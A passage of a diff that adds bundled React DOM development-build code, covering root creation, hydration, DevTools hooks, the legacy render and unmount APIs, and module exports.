+            }
+            return hostFiber.stateNode;
+          }
+        }
+        function createContainer(containerInfo, tag, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError, transitionCallbacks) {
+          var hydrate2 = false;
+          var initialChildren = null;
+          return createFiberRoot(containerInfo, tag, hydrate2, initialChildren, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError);
+        }
+        function createHydrationContainer(initialChildren, callback, containerInfo, tag, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError, transitionCallbacks) {
+          var hydrate2 = true;
+          var root2 = createFiberRoot(containerInfo, tag, hydrate2, initialChildren, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError);
+          root2.context = getContextForSubtree(null);
+          var current2 = root2.current;
+          var eventTime = requestEventTime();
+          var lane = requestUpdateLane(current2);
+          var update = createUpdate(eventTime, lane);
+          update.callback = callback !== void 0 && callback !== null ? callback : null;
+          enqueueUpdate(current2, update, lane);
+          scheduleInitialHydrationOnRoot(root2, lane, eventTime);
+          return root2;
+        }
+        function updateContainer(element, container, parentComponent, callback) {
+          {
+            onScheduleRoot(container, element);
+          }
+          var current$1 = container.current;
+          var eventTime = requestEventTime();
+          var lane = requestUpdateLane(current$1);
+          {
+            markRenderScheduled(lane);
+          }
+          var context = getContextForSubtree(parentComponent);
+          if (container.context === null) {
+            container.context = context;
+          } else {
+            container.pendingContext = context;
+          }
+          {
+            if (isRendering && current !== null && !didWarnAboutNestedUpdates) {
+              didWarnAboutNestedUpdates = true;
+              error("Render methods should be a pure function of props and state; triggering nested component updates from render is not allowed. If necessary, trigger nested updates in componentDidUpdate.\n\nCheck the render method of %s.", getComponentNameFromFiber(current) || "Unknown");
+            }
+          }
+          var update = createUpdate(eventTime, lane);
+          update.payload = {
+            element
+          };
+          callback = callback === void 0 ? null : callback;
+          if (callback !== null) {
+            {
+              if (typeof callback !== "function") {
+                error("render(...): Expected the last optional `callback` argument to be a function. Instead received: %s.", callback);
+              }
+            }
+            update.callback = callback;
+          }
+          var root2 = enqueueUpdate(current$1, update, lane);
+          if (root2 !== null) {
+            scheduleUpdateOnFiber(root2, current$1, lane, eventTime);
+            entangleTransitions(root2, current$1, lane);
+          }
+          return lane;
+        }
+        function getPublicRootInstance(container) {
+          var containerFiber = container.current;
+          if (!containerFiber.child) {
+            return null;
+          }
+          switch (containerFiber.child.tag) {
+            case HostComponent:
+              return getPublicInstance(containerFiber.child.stateNode);
+            default:
+              return containerFiber.child.stateNode;
+          }
+        }
+        function attemptSynchronousHydration$1(fiber) {
+          switch (fiber.tag) {
+            case HostRoot: {
+              var root2 = fiber.stateNode;
+              if (isRootDehydrated(root2)) {
+                var lanes = getHighestPriorityPendingLanes(root2);
+                flushRoot(root2, lanes);
+              }
+              break;
+            }
+            case SuspenseComponent: {
+              flushSync(function() {
+                var root3 = enqueueConcurrentRenderForLane(fiber, SyncLane);
+                if (root3 !== null) {
+                  var eventTime = requestEventTime();
+                  scheduleUpdateOnFiber(root3, fiber, SyncLane, eventTime);
+                }
+              });
+              var retryLane = SyncLane;
+              markRetryLaneIfNotHydrated(fiber, retryLane);
+              break;
+            }
+          }
+        }
+        function markRetryLaneImpl(fiber, retryLane) {
+          var suspenseState = fiber.memoizedState;
+          if (suspenseState !== null && suspenseState.dehydrated !== null) {
+            suspenseState.retryLane = higherPriorityLane(suspenseState.retryLane, retryLane);
+          }
+        }
+        function markRetryLaneIfNotHydrated(fiber, retryLane) {
+          markRetryLaneImpl(fiber, retryLane);
+          var alternate = fiber.alternate;
+          if (alternate) {
+            markRetryLaneImpl(alternate, retryLane);
+          }
+        }
+        function attemptContinuousHydration$1(fiber) {
+          if (fiber.tag !== SuspenseComponent) {
+            return;
+          }
+          var lane = SelectiveHydrationLane;
+          var root2 = enqueueConcurrentRenderForLane(fiber, lane);
+          if (root2 !== null) {
+            var eventTime = requestEventTime();
+            scheduleUpdateOnFiber(root2, fiber, lane, eventTime);
+          }
+          markRetryLaneIfNotHydrated(fiber, lane);
+        }
+        function attemptHydrationAtCurrentPriority$1(fiber) {
+          if (fiber.tag !== SuspenseComponent) {
+            return;
+          }
+          var lane = requestUpdateLane(fiber);
+          var root2 = enqueueConcurrentRenderForLane(fiber, lane);
+          if (root2 !== null) {
+            var eventTime = requestEventTime();
+            scheduleUpdateOnFiber(root2, fiber, lane, eventTime);
+          }
+          markRetryLaneIfNotHydrated(fiber, lane);
+        }
+        function findHostInstanceWithNoPortals(fiber) {
+          var hostFiber = findCurrentHostFiberWithNoPortals(fiber);
+          if (hostFiber === null) {
+            return null;
+          }
+          return hostFiber.stateNode;
+        }
+        var shouldErrorImpl = function(fiber) {
+          return null;
+        };
+        function shouldError(fiber) {
+          return shouldErrorImpl(fiber);
+        }
+        var shouldSuspendImpl = function(fiber) {
+          return false;
+        };
+        function shouldSuspend(fiber) {
+          return shouldSuspendImpl(fiber);
+        }
+        var overrideHookState = null;
+        var overrideHookStateDeletePath = null;
+        var overrideHookStateRenamePath = null;
+        var overrideProps = null;
+        var overridePropsDeletePath = null;
+        var overridePropsRenamePath = null;
+        var scheduleUpdate = null;
+        var setErrorHandler = null;
+        var setSuspenseHandler = null;
+        {
+          var copyWithDeleteImpl = function(obj, path, index2) {
+            var key = path[index2];
+            var updated = isArray(obj) ? obj.slice() : assign({}, obj);
+            if (index2 + 1 === path.length) {
+              if (isArray(updated)) {
+                updated.splice(key, 1);
+              } else {
+                delete updated[key];
+              }
+              return updated;
+            }
+            updated[key] = copyWithDeleteImpl(obj[key], path, index2 + 1);
+            return updated;
+          };
+          var copyWithDelete = function(obj, path) {
+            return copyWithDeleteImpl(obj, path, 0);
+          };
+          var copyWithRenameImpl = function(obj, oldPath, newPath, index2) {
+            var oldKey = oldPath[index2];
+            var updated = isArray(obj) ? obj.slice() : assign({}, obj);
+            if (index2 + 1 === oldPath.length) {
+              var newKey = newPath[index2];
+              updated[newKey] = updated[oldKey];
+              if (isArray(updated)) {
+                updated.splice(oldKey, 1);
+              } else {
+                delete updated[oldKey];
+              }
+            } else {
+              updated[oldKey] = copyWithRenameImpl(obj[oldKey], oldPath, newPath, index2 + 1);
+            }
+            return updated;
+          };
+          var copyWithRename = function(obj, oldPath, newPath) {
+            if (oldPath.length !== newPath.length) {
+              warn("copyWithRename() expects paths of the same length");
+              return;
+            } else {
+              for (var i2 = 0; i2 < newPath.length - 1; i2++) {
+                if (oldPath[i2] !== newPath[i2]) {
+                  warn("copyWithRename() expects paths to be the same except for the deepest key");
+                  return;
+                }
+              }
+            }
+            return copyWithRenameImpl(obj, oldPath, newPath, 0);
+          };
+          var copyWithSetImpl = function(obj, path, index2, value) {
+            if (index2 >= path.length) {
+              return value;
+            }
+            var key = path[index2];
+            var updated = isArray(obj) ? obj.slice() : assign({}, obj);
+            updated[key] = copyWithSetImpl(obj[key], path, index2 + 1, value);
+            return updated;
+          };
+          var copyWithSet = function(obj, path, value) {
+            return copyWithSetImpl(obj, path, 0, value);
+          };
+          var findHook = function(fiber, id) {
+            var currentHook2 = fiber.memoizedState;
+            while (currentHook2 !== null && id > 0) {
+              currentHook2 = currentHook2.next;
+              id--;
+            }
+            return currentHook2;
+          };
+          overrideHookState = function(fiber, id, path, value) {
+            var hook = findHook(fiber, id);
+            if (hook !== null) {
+              var newState = copyWithSet(hook.memoizedState, path, value);
+              hook.memoizedState = newState;
+              hook.baseState = newState;
+              fiber.memoizedProps = assign({}, fiber.memoizedProps);
+              var root2 = enqueueConcurrentRenderForLane(fiber, SyncLane);
+              if (root2 !== null) {
+                scheduleUpdateOnFiber(root2, fiber, SyncLane, NoTimestamp);
+              }
+            }
+          };
+          overrideHookStateDeletePath = function(fiber, id, path) {
+            var hook = findHook(fiber, id);
+            if (hook !== null) {
+              var newState = copyWithDelete(hook.memoizedState, path);
+              hook.memoizedState = newState;
+              hook.baseState = newState;
+              fiber.memoizedProps = assign({}, fiber.memoizedProps);
+              var root2 = enqueueConcurrentRenderForLane(fiber, SyncLane);
+              if (root2 !== null) {
+                scheduleUpdateOnFiber(root2, fiber, SyncLane, NoTimestamp);
+              }
+            }
+          };
+          overrideHookStateRenamePath = function(fiber, id, oldPath, newPath) {
+            var hook = findHook(fiber, id);
+            if (hook !== null) {
+              var newState = copyWithRename(hook.memoizedState, oldPath, newPath);
+              hook.memoizedState = newState;
+              hook.baseState = newState;
+              fiber.memoizedProps = assign({}, fiber.memoizedProps);
+              var root2 = enqueueConcurrentRenderForLane(fiber, SyncLane);
+              if (root2 !== null) {
+                scheduleUpdateOnFiber(root2, fiber, SyncLane, NoTimestamp);
+              }
+            }
+          };
+          overrideProps = function(fiber, path, value) {
+            fiber.pendingProps = copyWithSet(fiber.memoizedProps, path, value);
+            if (fiber.alternate) {
+              fiber.alternate.pendingProps = fiber.pendingProps;
+            }
+            var root2 = enqueueConcurrentRenderForLane(fiber, SyncLane);
+            if (root2 !== null) {
+              scheduleUpdateOnFiber(root2, fiber, SyncLane, NoTimestamp);
+            }
+          };
+          overridePropsDeletePath = function(fiber, path) {
+            fiber.pendingProps = copyWithDelete(fiber.memoizedProps, path);
+            if (fiber.alternate) {
+              fiber.alternate.pendingProps = fiber.pendingProps;
+            }
+            var root2 = enqueueConcurrentRenderForLane(fiber, SyncLane);
+            if (root2 !== null) {
+              scheduleUpdateOnFiber(root2, fiber, SyncLane, NoTimestamp);
+            }
+          };
+          overridePropsRenamePath = function(fiber, oldPath, newPath) {
+            fiber.pendingProps = copyWithRename(fiber.memoizedProps, oldPath, newPath);
+            if (fiber.alternate) {
+              fiber.alternate.pendingProps = fiber.pendingProps;
+            }
+            var root2 = enqueueConcurrentRenderForLane(fiber, SyncLane);
+            if (root2 !== null) {
+              scheduleUpdateOnFiber(root2, fiber, SyncLane, NoTimestamp);
+            }
+          };
+          scheduleUpdate = function(fiber) {
+            var root2 = enqueueConcurrentRenderForLane(fiber, SyncLane);
+            if (root2 !== null) {
+              scheduleUpdateOnFiber(root2, fiber, SyncLane, NoTimestamp);
+            }
+          };
+          setErrorHandler = function(newShouldErrorImpl) {
+            shouldErrorImpl = newShouldErrorImpl;
+          };
+          setSuspenseHandler = function(newShouldSuspendImpl) {
+            shouldSuspendImpl = newShouldSuspendImpl;
+          };
+        }
+        function findHostInstanceByFiber(fiber) {
+          var hostFiber = findCurrentHostFiber(fiber);
+          if (hostFiber === null) {
+            return null;
+          }
+          return hostFiber.stateNode;
+        }
+        function emptyFindFiberByHostInstance(instance) {
+          return null;
+        }
+        function getCurrentFiberForDevTools() {
+          return current;
+        }
+        function injectIntoDevTools(devToolsConfig) {
+          var findFiberByHostInstance = devToolsConfig.findFiberByHostInstance;
+          var ReactCurrentDispatcher2 = ReactSharedInternals.ReactCurrentDispatcher;
+          return injectInternals({
+            bundleType: devToolsConfig.bundleType,
+            version: devToolsConfig.version,
+            rendererPackageName: devToolsConfig.rendererPackageName,
+            rendererConfig: devToolsConfig.rendererConfig,
+            overrideHookState,
+            overrideHookStateDeletePath,
+            overrideHookStateRenamePath,
+            overrideProps,
+            overridePropsDeletePath,
+            overridePropsRenamePath,
+            setErrorHandler,
+            setSuspenseHandler,
+            scheduleUpdate,
+            currentDispatcherRef: ReactCurrentDispatcher2,
+            findHostInstanceByFiber,
+            findFiberByHostInstance: findFiberByHostInstance || emptyFindFiberByHostInstance,
+            findHostInstancesForRefresh,
+            scheduleRefresh,
+            scheduleRoot,
+            setRefreshHandler,
+            getCurrentFiber: getCurrentFiberForDevTools,
+            reconcilerVersion: ReactVersion
+          });
+        }
+        var defaultOnRecoverableError = typeof reportError === "function" ? reportError : function(error2) {
+          console["error"](error2);
+        };
+        function ReactDOMRoot(internalRoot) {
+          this._internalRoot = internalRoot;
+        }
+        ReactDOMHydrationRoot.prototype.render = ReactDOMRoot.prototype.render = function(children) {
+          var root2 = this._internalRoot;
+          if (root2 === null) {
+            throw new Error("Cannot update an unmounted root.");
+          }
+          {
+            if (typeof arguments[1] === "function") {
+              error("render(...): does not support the second callback argument. To execute a side effect after rendering, declare it in a component body with useEffect().");
+            } else if (isValidContainer(arguments[1])) {
+              error("You passed a container to the second argument of root.render(...). You don't need to pass it again since you already passed it to create the root.");
+            } else if (typeof arguments[1] !== "undefined") {
+              error("You passed a second argument to root.render(...) but it only accepts one argument.");
+            }
+            var container = root2.containerInfo;
+            if (container.nodeType !== COMMENT_NODE) {
+              var hostInstance = findHostInstanceWithNoPortals(root2.current);
+              if (hostInstance) {
+                if (hostInstance.parentNode !== container) {
+                  error("render(...): It looks like the React-rendered content of the root container was removed without using React. This is not supported and will cause errors. Instead, call root.unmount() to empty a root's container.");
+                }
+              }
+            }
+          }
+          updateContainer(children, root2, null, null);
+        };
+        ReactDOMHydrationRoot.prototype.unmount = ReactDOMRoot.prototype.unmount = function() {
+          {
+            if (typeof arguments[0] === "function") {
+              error("unmount(...): does not support a callback argument. To execute a side effect after rendering, declare it in a component body with useEffect().");
+            }
+          }
+          var root2 = this._internalRoot;
+          if (root2 !== null) {
+            this._internalRoot = null;
+            var container = root2.containerInfo;
+            {
+              if (isAlreadyRendering()) {
+                error("Attempted to synchronously unmount a root while React was already rendering. React cannot finish unmounting the root until the current render has completed, which may lead to a race condition.");
+              }
+            }
+            flushSync(function() {
+              updateContainer(null, root2, null, null);
+            });
+            unmarkContainerAsRoot(container);
+          }
+        };
+        function createRoot3(container, options2) {
+          if (!isValidContainer(container)) {
+            throw new Error("createRoot(...): Target container is not a DOM element.");
+          }
+          warnIfReactDOMContainerInDEV(container);
+          var isStrictMode = false;
+          var concurrentUpdatesByDefaultOverride = false;
+          var identifierPrefix = "";
+          var onRecoverableError = defaultOnRecoverableError;
+          var transitionCallbacks = null;
+          if (options2 !== null && options2 !== void 0) {
+            {
+              if (options2.hydrate) {
+                warn("hydrate through createRoot is deprecated. Use ReactDOMClient.hydrateRoot(container, <App />) instead.");
+              } else {
+                if (typeof options2 === "object" && options2 !== null && options2.$$typeof === REACT_ELEMENT_TYPE) {
+                  error("You passed a JSX element to createRoot. You probably meant to call root.render instead. Example usage:\n\n  let root = createRoot(domContainer);\n  root.render(<App />);");
+                }
+              }
+            }
+            if (options2.unstable_strictMode === true) {
+              isStrictMode = true;
+            }
+            if (options2.identifierPrefix !== void 0) {
+              identifierPrefix = options2.identifierPrefix;
+            }
+            if (options2.onRecoverableError !== void 0) {
+              onRecoverableError = options2.onRecoverableError;
+            }
+            if (options2.transitionCallbacks !== void 0) {
+              transitionCallbacks = options2.transitionCallbacks;
+            }
+          }
+          var root2 = createContainer(container, ConcurrentRoot, null, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError);
+          markContainerAsRoot(root2.current, container);
+          var rootContainerElement = container.nodeType === COMMENT_NODE ? container.parentNode : container;
+          listenToAllSupportedEvents(rootContainerElement);
+          return new ReactDOMRoot(root2);
+        }
+        function ReactDOMHydrationRoot(internalRoot) {
+          this._internalRoot = internalRoot;
+        }
+        function scheduleHydration(target) {
+          if (target) {
+            queueExplicitHydrationTarget(target);
+          }
+        }
+        ReactDOMHydrationRoot.prototype.unstable_scheduleHydration = scheduleHydration;
+        function hydrateRoot(container, initialChildren, options2) {
+          if (!isValidContainer(container)) {
+            throw new Error("hydrateRoot(...): Target container is not a DOM element.");
+          }
+          warnIfReactDOMContainerInDEV(container);
+          {
+            if (initialChildren === void 0) {
+              error("Must provide initial children as second argument to hydrateRoot. Example usage: hydrateRoot(domContainer, <App />)");
+            }
+          }
+          var hydrationCallbacks = options2 != null ? options2 : null;
+          var mutableSources = options2 != null && options2.hydratedSources || null;
+          var isStrictMode = false;
+          var concurrentUpdatesByDefaultOverride = false;
+          var identifierPrefix = "";
+          var onRecoverableError = defaultOnRecoverableError;
+          if (options2 !== null && options2 !== void 0) {
+            if (options2.unstable_strictMode === true) {
+              isStrictMode = true;
+            }
+            if (options2.identifierPrefix !== void 0) {
+              identifierPrefix = options2.identifierPrefix;
+            }
+            if (options2.onRecoverableError !== void 0) {
+              onRecoverableError = options2.onRecoverableError;
+            }
+          }
+          var root2 = createHydrationContainer(initialChildren, null, container, ConcurrentRoot, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError);
+          markContainerAsRoot(root2.current, container);
+          listenToAllSupportedEvents(container);
+          if (mutableSources) {
+            for (var i2 = 0; i2 < mutableSources.length; i2++) {
+              var mutableSource = mutableSources[i2];
+              registerMutableSourceForHydration(root2, mutableSource);
+            }
+          }
+          return new ReactDOMHydrationRoot(root2);
+        }
+        function isValidContainer(node) {
+          return !!(node && (node.nodeType === ELEMENT_NODE || node.nodeType === DOCUMENT_NODE || node.nodeType === DOCUMENT_FRAGMENT_NODE || !disableCommentsAsDOMContainers));
+        }
+        function isValidContainerLegacy(node) {
+          return !!(node && (node.nodeType === ELEMENT_NODE || node.nodeType === DOCUMENT_NODE || node.nodeType === DOCUMENT_FRAGMENT_NODE || node.nodeType === COMMENT_NODE && node.nodeValue === " react-mount-point-unstable "));
+        }
+        function warnIfReactDOMContainerInDEV(container) {
+          {
+            if (container.nodeType === ELEMENT_NODE && container.tagName && container.tagName.toUpperCase() === "BODY") {
+              error("createRoot(): Creating roots directly with document.body is discouraged, since its children are often manipulated by third-party scripts and browser extensions. This may lead to subtle reconciliation issues. Try using a container element created for your app.");
+            }
+            if (isContainerMarkedAsRoot(container)) {
+              if (container._reactRootContainer) {
+                error("You are calling ReactDOMClient.createRoot() on a container that was previously passed to ReactDOM.render(). This is not supported.");
+              } else {
+                error("You are calling ReactDOMClient.createRoot() on a container that has already been passed to createRoot() before. Instead, call root.render() on the existing root instead if you want to update it.");
+              }
+            }
+          }
+        }
+        var ReactCurrentOwner$3 = ReactSharedInternals.ReactCurrentOwner;
+        var topLevelUpdateWarnings;
+        {
+          topLevelUpdateWarnings = function(container) {
+            if (container._reactRootContainer && container.nodeType !== COMMENT_NODE) {
+              var hostInstance = findHostInstanceWithNoPortals(container._reactRootContainer.current);
+              if (hostInstance) {
+                if (hostInstance.parentNode !== container) {
+                  error("render(...): It looks like the React-rendered content of this container was removed without using React. This is not supported and will cause errors. Instead, call ReactDOM.unmountComponentAtNode to empty a container.");
+                }
+              }
+            }
+            var isRootRenderedBySomeReact = !!container._reactRootContainer;
+            var rootEl = getReactRootElementInContainer(container);
+            var hasNonRootReactChild = !!(rootEl && getInstanceFromNode(rootEl));
+            if (hasNonRootReactChild && !isRootRenderedBySomeReact) {
+              error("render(...): Replacing React-rendered children with a new root component. If you intended to update the children of this node, you should instead have the existing children update their state and render the new components instead of calling ReactDOM.render.");
+            }
+            if (container.nodeType === ELEMENT_NODE && container.tagName && container.tagName.toUpperCase() === "BODY") {
+              error("render(): Rendering components directly into document.body is discouraged, since its children are often manipulated by third-party scripts and browser extensions. This may lead to subtle reconciliation issues. Try rendering into a container element created for your app.");
+            }
+          };
+        }
+        function getReactRootElementInContainer(container) {
+          if (!container) {
+            return null;
+          }
+          if (container.nodeType === DOCUMENT_NODE) {
+            return container.documentElement;
+          } else {
+            return container.firstChild;
+          }
+        }
+        function noopOnRecoverableError() {
+        }
+        function legacyCreateRootFromDOMContainer(container, initialChildren, parentComponent, callback, isHydrationContainer) {
+          if (isHydrationContainer) {
+            if (typeof callback === "function") {
+              var originalCallback = callback;
+              callback = function() {
+                var instance = getPublicRootInstance(root2);
+                originalCallback.call(instance);
+              };
+            }
+            var root2 = createHydrationContainer(initialChildren, callback, container, LegacyRoot, null, false, false, "", noopOnRecoverableError);
+            container._reactRootContainer = root2;
+            markContainerAsRoot(root2.current, container);
+            var rootContainerElement = container.nodeType === COMMENT_NODE ? container.parentNode : container;
+            listenToAllSupportedEvents(rootContainerElement);
+            flushSync();
+            return root2;
+          } else {
+            var rootSibling;
+            while (rootSibling = container.lastChild) {
+              container.removeChild(rootSibling);
+            }
+            if (typeof callback === "function") {
+              var _originalCallback = callback;
+              callback = function() {
+                var instance = getPublicRootInstance(_root);
+                _originalCallback.call(instance);
+              };
+            }
+            var _root = createContainer(container, LegacyRoot, null, false, false, "", noopOnRecoverableError);
+            container._reactRootContainer = _root;
+            markContainerAsRoot(_root.current, container);
+            var _rootContainerElement = container.nodeType === COMMENT_NODE ? container.parentNode : container;
+            listenToAllSupportedEvents(_rootContainerElement);
+            flushSync(function() {
+              updateContainer(initialChildren, _root, parentComponent, callback);
+            });
+            return _root;
+          }
+        }
+        function warnOnInvalidCallback$1(callback, callerName) {
+          {
+            if (callback !== null && typeof callback !== "function") {
+              error("%s(...): Expected the last optional `callback` argument to be a function. Instead received: %s.", callerName, callback);
+            }
+          }
+        }
+        function legacyRenderSubtreeIntoContainer(parentComponent, children, container, forceHydrate, callback) {
+          {
+            topLevelUpdateWarnings(container);
+            warnOnInvalidCallback$1(callback === void 0 ? null : callback, "render");
+          }
+          var maybeRoot = container._reactRootContainer;
+          var root2;
+          if (!maybeRoot) {
+            root2 = legacyCreateRootFromDOMContainer(container, children, parentComponent, callback, forceHydrate);
+          } else {
+            root2 = maybeRoot;
+            if (typeof callback === "function") {
+              var originalCallback = callback;
+              callback = function() {
+                var instance = getPublicRootInstance(root2);
+                originalCallback.call(instance);
+              };
+            }
+            updateContainer(children, root2, parentComponent, callback);
+          }
+          return getPublicRootInstance(root2);
+        }
+        function findDOMNode(componentOrElement) {
+          {
+            var owner = ReactCurrentOwner$3.current;
+            if (owner !== null && owner.stateNode !== null) {
+              var warnedAboutRefsInRender = owner.stateNode._warnedAboutRefsInRender;
+              if (!warnedAboutRefsInRender) {
+                error("%s is accessing findDOMNode inside its render(). render() should be a pure function of props and state. It should never access something that requires stale data from the previous render, such as refs. Move this logic to componentDidMount and componentDidUpdate instead.", getComponentNameFromType(owner.type) || "A component");
+              }
+              owner.stateNode._warnedAboutRefsInRender = true;
+            }
+          }
+          if (componentOrElement == null) {
+            return null;
+          }
+          if (componentOrElement.nodeType === ELEMENT_NODE) {
+            return componentOrElement;
+          }
+          {
+            return findHostInstanceWithWarning(componentOrElement, "findDOMNode");
+          }
+        }
+        function hydrate(element, container, callback) {
+          {
+            error("ReactDOM.hydrate is no longer supported in React 18. Use hydrateRoot instead. Until you switch to the new API, your app will behave as if it's running React 17. Learn more: https://reactjs.org/link/switch-to-createroot");
+          }
+          if (!isValidContainerLegacy(container)) {
+            throw new Error("Target container is not a DOM element.");
+          }
+          {
+            var isModernRoot = isContainerMarkedAsRoot(container) && container._reactRootContainer === void 0;
+            if (isModernRoot) {
+              error("You are calling ReactDOM.hydrate() on a container that was previously passed to ReactDOMClient.createRoot(). This is not supported. Did you mean to call hydrateRoot(container, element)?");
+            }
+          }
+          return legacyRenderSubtreeIntoContainer(null, element, container, true, callback);
+        }
+        function render(element, container, callback) {
+          {
+            error("ReactDOM.render is no longer supported in React 18. Use createRoot instead. Until you switch to the new API, your app will behave as if it's running React 17. Learn more: https://reactjs.org/link/switch-to-createroot");
+          }
+          if (!isValidContainerLegacy(container)) {
+            throw new Error("Target container is not a DOM element.");
+          }
+          {
+            var isModernRoot = isContainerMarkedAsRoot(container) && container._reactRootContainer === void 0;
+            if (isModernRoot) {
+              error("You are calling ReactDOM.render() on a container that was previously passed to ReactDOMClient.createRoot(). This is not supported. Did you mean to call root.render(element)?");
+            }
+          }
+          return legacyRenderSubtreeIntoContainer(null, element, container, false, callback);
+        }
+        function unstable_renderSubtreeIntoContainer(parentComponent, element, containerNode, callback) {
+          {
+            error("ReactDOM.unstable_renderSubtreeIntoContainer() is no longer supported in React 18. Consider using a portal instead. Until you switch to the createRoot API, your app will behave as if it's running React 17. Learn more: https://reactjs.org/link/switch-to-createroot");
+          }
+          if (!isValidContainerLegacy(containerNode)) {
+            throw new Error("Target container is not a DOM element.");
+          }
+          if (parentComponent == null || !has(parentComponent)) {
+            throw new Error("parentComponent must be a valid React Component");
+          }
+          return legacyRenderSubtreeIntoContainer(parentComponent, element, containerNode, false, callback);
+        }
+        function unmountComponentAtNode(container) {
+          if (!isValidContainerLegacy(container)) {
+            throw new Error("unmountComponentAtNode(...): Target container is not a DOM element.");
+          }
+          {
+            var isModernRoot = isContainerMarkedAsRoot(container) && container._reactRootContainer === void 0;
+            if (isModernRoot) {
+              error("You are calling ReactDOM.unmountComponentAtNode() on a container that was previously passed to ReactDOMClient.createRoot(). This is not supported. Did you mean to call root.unmount()?");
+            }
+          }
+          if (container._reactRootContainer) {
+            {
+              var rootEl = getReactRootElementInContainer(container);
+              var renderedByDifferentReact = rootEl && !getInstanceFromNode(rootEl);
+              if (renderedByDifferentReact) {
+                error("unmountComponentAtNode(): The node you're attempting to unmount was rendered by another copy of React.");
+              }
+            }
+            flushSync(function() {
+              legacyRenderSubtreeIntoContainer(null, null, container, false, function() {
+                container._reactRootContainer = null;
+                unmarkContainerAsRoot(container);
+              });
+            });
+            return true;
+          } else {
+            {
+              var _rootEl = getReactRootElementInContainer(container);
+              var hasNonRootReactChild = !!(_rootEl && getInstanceFromNode(_rootEl));
+              var isContainerReactRoot = container.nodeType === ELEMENT_NODE && isValidContainerLegacy(container.parentNode) && !!container.parentNode._reactRootContainer;
+              if (hasNonRootReactChild) {
+                error("unmountComponentAtNode(): The node you're attempting to unmount was rendered by React and is not a top-level container. %s", isContainerReactRoot ? "You may have accidentally passed in a React root node instead of its container." : "Instead, have the parent component update its state and rerender in order to remove this component.");
+              }
+            }
+            return false;
+          }
+        }
+        setAttemptSynchronousHydration(attemptSynchronousHydration$1);
+        setAttemptContinuousHydration(attemptContinuousHydration$1);
+        setAttemptHydrationAtCurrentPriority(attemptHydrationAtCurrentPriority$1);
+        setGetCurrentUpdatePriority(getCurrentUpdatePriority);
+        setAttemptHydrationAtPriority(runWithPriority);
+        {
+          if (typeof Map !== "function" || Map.prototype == null || typeof Map.prototype.forEach !== "function" || typeof Set !== "function" || Set.prototype == null || typeof Set.prototype.clear !== "function" || typeof Set.prototype.forEach !== "function") {
+            error("React depends on Map and Set built-in types. Make sure that you load a polyfill in older browsers. https://reactjs.org/link/react-polyfills");
+          }
+        }
+        setRestoreImplementation(restoreControlledState$3);
+        setBatchingImplementation(batchedUpdates$1, discreteUpdates, flushSync);
+        function createPortal$1(children, container) {
+          var key = arguments.length > 2 && arguments[2] !== void 0 ? arguments[2] : null;
+          if (!isValidContainer(container)) {
+            throw new Error("Target container is not a DOM element.");
+          }
+          return createPortal(children, container, null, key);
+        }
+        function renderSubtreeIntoContainer(parentComponent, element, containerNode, callback) {
+          return unstable_renderSubtreeIntoContainer(parentComponent, element, containerNode, callback);
+        }
+        var Internals = {
+          usingClientEntryPoint: false,
+          Events: [getInstanceFromNode, getNodeFromInstance, getFiberCurrentPropsFromNode, enqueueStateRestore, restoreStateIfNeeded, batchedUpdates$1]
+        };
+        function createRoot$1(container, options2) {
+          {
+            if (!Internals.usingClientEntryPoint && true) {
+              error('You are importing createRoot from "react-dom" which is not supported. You should instead import it from "react-dom/client".');
+            }
+          }
+          return createRoot3(container, options2);
+        }
+        function hydrateRoot$1(container, initialChildren, options2) {
+          {
+            if (!Internals.usingClientEntryPoint && true) {
+              error('You are importing hydrateRoot from "react-dom" which is not supported. You should instead import it from "react-dom/client".');
+            }
+          }
+          return hydrateRoot(container, initialChildren, options2);
+        }
+        function flushSync$1(fn) {
+          {
+            if (isAlreadyRendering()) {
+              error("flushSync was called from inside a lifecycle method. React cannot flush when React is already rendering. Consider moving this call to a scheduler task or micro task.");
+            }
+          }
+          return flushSync(fn);
+        }
+        var foundDevTools = injectIntoDevTools({
+          findFiberByHostInstance: getClosestInstanceFromNode,
+          bundleType: 1,
+          version: ReactVersion,
+          rendererPackageName: "react-dom"
+        });
+        {
+          if (!foundDevTools && canUseDOM && window.top === window.self) {
+            if (navigator.userAgent.indexOf("Chrome") > -1 && navigator.userAgent.indexOf("Edge") === -1 || navigator.userAgent.indexOf("Firefox") > -1) {
+              var protocol = window.location.protocol;
+              if (/^(https?|file):$/.test(protocol)) {
+                console.info("%cDownload the React DevTools for a better development experience: https://reactjs.org/link/react-devtools" + (protocol === "file:" ? "\nYou might need to use a local HTTP server (instead of file://): https://reactjs.org/link/react-devtools-faq" : ""), "font-weight:bold");
+              }
+            }
+          }
+        }
+        exports.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED = Internals;
+        exports.createPortal = createPortal$1;
+        exports.createRoot = createRoot$1;
+        exports.findDOMNode = findDOMNode;
+        exports.flushSync = flushSync$1;
+        exports.hydrate = hydrate;
+        exports.hydrateRoot = hydrateRoot$1;
+        exports.render = render;
+        exports.unmountComponentAtNode = unmountComponentAtNode;
+        exports.unstable_batchedUpdates = batchedUpdates$1;
+        exports.unstable_renderSubtreeIntoContainer = renderSubtreeIntoContainer;
+        exports.version = ReactVersion;
+        if (typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ !== "undefined" && typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStop === "function") {
+          __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStop(new Error());
+        }
+      })();
+    }
+  }
+});
+
+// node_modules/react-dom/index.js
+var require_react_dom = __commonJS({
+  "node_modules/react-dom/index.js"(exports, module2) {
+    "use strict";
+    if (false) {
+      checkDCE();
+      module2.exports = null;
+    } else {
+      module2.exports = require_react_dom_development();
+    }
+  }
+});
+
+// node_modules/react-dom/client.js
+var require_client = __commonJS({
+  "node_modules/react-dom/client.js"(exports) {
+    "use strict";
+    var m2 = require_react_dom();
+    if (false) {
+      exports.createRoot = m2.createRoot;
+      exports.hydrateRoot = m2.hydrateRoot;
+    } else {
